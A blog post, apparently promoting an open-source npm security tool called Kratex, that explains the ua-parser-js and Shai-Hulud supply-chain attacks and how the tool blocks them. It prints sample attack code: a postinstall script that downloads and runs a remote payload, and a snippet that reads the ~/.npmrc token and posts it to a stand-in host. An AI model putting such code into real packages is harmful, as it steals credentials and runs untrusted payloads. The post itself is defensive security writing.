In October 2021, ua-parser-js shipped a release whose postinstall script
downloaded and ran a payload on every machine that installed it. The package
gets tens of millions of downloads a week. In 2025 the Shai-Hulud worm went
further: a compromised package read the npm token out of ~/.npmrc, sent it to
a server, and used it to publish malicious versions of every other package the
victim maintained, which read more tokens and published more packages.
These look like different incidents, but in both the damage starts when the package’s code runs, with the same permissions as the rest of your build. A static scanner like Snyk, Socket, or GitHub Advanced Security catches the versions it has already seen; the version nobody has flagged yet runs with full access.
I built Kratex to enforce what each package is allowed to do while it runs. This post walks through exactly what happens at each step of a compromise of this shape, using the same two incidents above. At the end there is a challenge you can try in your browser, no install required.
How these compromises work
Take the ua-parser-js case first. The malicious code lives in a postinstall
script, so it executes the moment you run npm install. npm runs lifecycle
scripts for every package in the tree, transitive ones included, before you have
imported a single line of anything. By the time you notice, the payload has
already phoned home.
The hook is two lines of package.json and a script file:
// node_modules/ua-parser-js/package.json
{
"name": "ua-parser-js",
"version": "0.7.29",
"scripts": {
"postinstall": "node postinstall.js"
}
}
// node_modules/ua-parser-js/postinstall.js (representative shape)
const https = require("node:https");
const fs = require("node:fs");
const { execFileSync } = require("node:child_process");
// pull down the next stage and run it
https.get("https://collect.unknown-host.example/stage2", (res) => {
const out = fs.createWriteStream("jsextension");
res.pipe(out);
out.on("finish", () => execFileSync("./jsextension")); // a cryptominer, in the real incident
});
The next stage is whatever that server delivers. In the actual ua-parser-js
compromise it was a credential stealer and a cryptominer, fetched at install and
run with your shell’s permissions. There is no import of this package in your
code. The script runs because npm runs it.
The Shai-Hulud case executes later, at application runtime, but the move is the same: read something sensitive, then send it somewhere. Buried in a transitive dependency, it runs when your app starts:
// node_modules/analytics-shim/index.js (representative shape)
const fs = require("node:fs");
const os = require("node:os");
const https = require("node:https");
const token = fs.readFileSync(`${os.homedir()}/.npmrc`, "utf8");
https.request("https://collect.unknown-host.example/x", { method: "POST" }).end(token);
The credential read and the outbound connection happen in one process, and to the operating system they are indistinguishable from your own code doing ordinary I/O.
Kratex addresses each phase separately.
Install time
kratex install wraps your install in two passes:
# pass 1: tree lands on disk, no lifecycle script has run
npm install --ignore-scripts
# pass 2: each preinstall/install/postinstall is checked against
# policy, and only permitted scripts are re-run under enforcement
First it runs npm install --ignore-scripts, so the dependency tree lands on
disk with no lifecycle script having executed. Then it walks every preinstall,
install, and postinstall script in the installed packages and evaluates each
one against your policy before letting it run. A script that the policy permits
is re-run under enforcement. A script that would do something the policy forbids
never executes.
The ua-parser-js postinstall opens an outbound connection during the install
phase. A built-in rule, third-party-lifecycle-network, blocks any third-party
network call made during a lifecycle script. That rule fires in every policy
mode, including audit, because a lifecycle script reaching the network is one
of the clearest signals of compromise there is. The connection is denied before
it opens, and Kratex prints a receipt naming the package that tried it:
$ kratex install
block <high> ua-parser-js network:connect collect.unknown-host.example:443 [kratex.builtin.third-party-lifecycle-network]
The same pass blocks shell escapes from lifecycle scripts (the event-stream
shape from 2018) and a package rewriting another package’s package.json, which
is the move a worm makes to spread.
Runtime and caller-chain attribution
kratex run <command> is where the runtime story lives. It loads an in-process
hook into Node when your program starts, and the hook follows into any child
processes it spawns. The hook sits in front of the I/O surface (fs, net, and
child_process), so every file read, socket connection, and process spawn
passes through policy evaluation before it happens.
What makes interception useful is knowing who made the call. When an operation
comes in, Kratex captures the JavaScript
call stack and walks it frame by frame. For each frame it resolves the file and
finds the node_modules/<package> segment that owns it, which tells it the
package responsible for that frame. It then attributes the operation to the
package deepest in the chain, the one that actually triggered the call rather
than a helper it passed through. First-party code, a direct dependency, and a
transitive dependency three levels down are all distinguishable.
fs.readFileSync("~/.npmrc") ← the intercepted operation
called from
node_modules/analytics-shim/index.js ← attributed here (third-party)
called from
node_modules/your-logger/index.js (third-party, passed through)
called from
app.js (first-party)
This is what lets a rule mean something precise. Consider the Shai-Hulud read of
~/.npmrc. That file is credential-class data outside your project root, and a
built-in rule, third-party-credential-read, blocks any third-party package
from reading it. Attribution is what makes the rule safe to apply broadly: your
own code reading your own .npmrc is fine, and the rule only fires when the
caller chain says a third-party package is the one reaching for it.
The subtler case is the one a scanner reading code at rest cannot reproduce. Suppose a package reads a project secret your policy allows it to read, then later tries to open a socket. Kratex labels the package as having touched sensitive data, and a built-in rule blocks the outbound connection from any package carrying that label:
That correlation only exists at runtime, and only with attribution.
What you get by default
Every rule in this walkthrough is built in and on by default, with no
configuration. The defaults cover more than the walkthrough showed. They also
block crypto-wallet reads, publishing a package from inside a lifecycle script,
third-party use of process.binding (the raw native bindings underneath the
patched modules), and any write to Kratex’s own policy file, rules cache, or
installed engine. These mirror the patterns in publicly disclosed npm
compromises going back to event-stream and eslint-scope in 2018.
Mode changes what a block-tier rule does. In enforce mode it blocks. In
audit mode most of these rules demote: a third-party credential read, for
example, is recorded as a would-block and allowed to proceed. A small set is
tagged to fire even in audit, because the damage is irreversible the moment the
operation succeeds: network calls from lifecycle scripts (the rule you saw
block ua-parser-js above), crypto-wallet reads, the two self-propagation
rules (rewriting a sibling package’s manifest, publishing from a lifecycle
script), and writes to Kratex’s own policy and engine files.
Anything a built-in rule doesn’t match is allowed by default. You tighten or audit the rest by editing a JSON policy file in your repo, where a more-specific rule wins over a broader one. A policy can say a given host is allowed for one package and denied for every other caller, and attribution makes that distinction hold:
// kratex.policy.json
{
"mode": "enforce",
"rules": [
{
"id": "my-app.allow-prisma-db",
"subject": { "package": "prisma" },
"target": { "kind": "network", "host": "db.internal" },
"effect": { "action": "allow" }
}
]
}
That rule lets prisma reach db.internal and nothing else changes. Any other
package opening a connection to that host still meets the default, because the
allow is pinned to a subject the caller chain has to match.
Try to break it
The strongest claim I can make is one you can test yourself. I built a challenge that runs entirely in your browser through StackBlitz: real Node.js in the browser, nothing to install. It includes a dependency that replays the September 2025 Shai-Hulud credential theft and a planted secret, with Kratex running on nothing but its built-in defaults. Your job is to get that secret off the machine. Rewrite the dependency or add your own files; the one thing you may not touch is the policy file. If you get it out, I want to hear exactly how.
The engine is open source under Apache 2.0. npm i -g @kratex/cli and it
behaves the same on your laptop as in that browser tab.